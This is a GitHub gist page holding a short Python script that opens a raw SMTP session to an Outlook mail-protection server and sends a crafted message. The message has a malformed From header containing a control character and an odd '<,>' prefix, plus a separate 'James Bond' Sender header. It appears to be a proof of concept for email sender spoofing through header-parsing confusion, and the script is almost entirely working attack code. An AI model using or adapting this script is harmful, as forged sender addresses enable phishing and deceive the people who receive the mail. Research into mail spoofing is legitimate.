-
-
Save emdnaia/fa1ee426495b03d6ac1a6f2d062f34df to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from socket import * | |
| mail_server = ("tantotesting.mail.protection.outlook.com", 25) | |
| client_socket = socket(AF_INET, SOCK_STREAM) | |
| helo = "helo tantomail.com" | |
| mail_from = "mail from: <[email protected]>" | |
| rcpt_to = "rcpt to: <[email protected]>" | |
| mail = """from: \x1f <,><[email protected]>\r | |
| sender: "James Bond" <[email protected]>\r | |
| to: <[email protected]>\r | |
| subject: Test\r | |
| content-type: text/html\r\n\r | |
| <!-- BEGIN PGP MESSAGE -->\r | |
| <p>Test</p>\r | |
| .""" | |
| def connect(): | |
| client_socket.connect(mail_server) | |
| recv = client_socket.recv(1024).decode() | |
| print(recv) | |
| if recv[:3] != "220": | |
| print("Connection to mail server failed") | |
| exit() | |
| def send(command): | |
| client_socket.send(f"{command}\r\n".encode()) | |
| recv = client_socket.recv(1024).decode() | |
| print(recv) | |
| if recv[:3] != "250" and recv[:3] != "354" and recv[:3] != "221": | |
| print("Error with command") | |
| exit() | |
| connect() | |
| send(helo) | |
| send(mail_from) | |
| send(rcpt_to) | |
| send("data") | |
| send(mail) | |
| send("quit") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment